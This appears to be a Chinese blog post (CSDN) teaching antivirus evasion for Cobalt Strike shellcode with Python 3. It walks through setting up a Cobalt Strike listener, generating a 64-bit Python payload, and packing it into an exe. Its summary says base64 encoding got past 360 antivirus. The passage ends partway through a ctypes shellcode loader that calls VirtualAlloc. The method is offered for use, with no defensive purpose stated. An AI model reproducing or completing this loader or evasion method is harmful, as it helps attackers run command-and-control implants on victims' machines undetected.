python3+Cobal Strikeshellcode免杀技术

最新推荐文章于 2023-08-02 22:21:59 发布

小哥们肩膀一般高

最新推荐文章于 2023-08-02 22:21:59 发布

阅读量3.2k

点赞数 4

分类专栏：渗透测试网络安全文章标签：安全 python 系统安全

本文链接：https://blog.csdn.net/qq_44905657/article/details/122087879

版权

本文介绍了如何使用python3处理Cobal Strike（CS）生成的shellcode进行免杀。首先，通过CS神器生成64位python格式payload，将shellcode插入python脚本并打包成exe。尽管初次尝试被杀毒软件检测到，但通过base64编码和解码的第二种方法，成功避免了360的查杀，并在virscan.org上展示了较好的免杀效果。后续文章将继续探讨更多免杀策略。

摘要由CSDN通过智能技术生成

python3处理shellcode

目前使用python3处理CS神器生成的shellcode免杀效果还是可以的；本章我们使用基于python3的脚本对shellcode做处理，生成exe后进行免杀。

第一种

首先我们kali打开CS神器服务端
在这里插入图片描述
客户端启动

创建一个监听器

使用CS神器生成python格式的payload

这里记得点击使用64位的，点击生成，查看生成的payload

我们使用python脚本

import ctypes

#shellcode加载
def shellCodeLoad(shellcode):
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc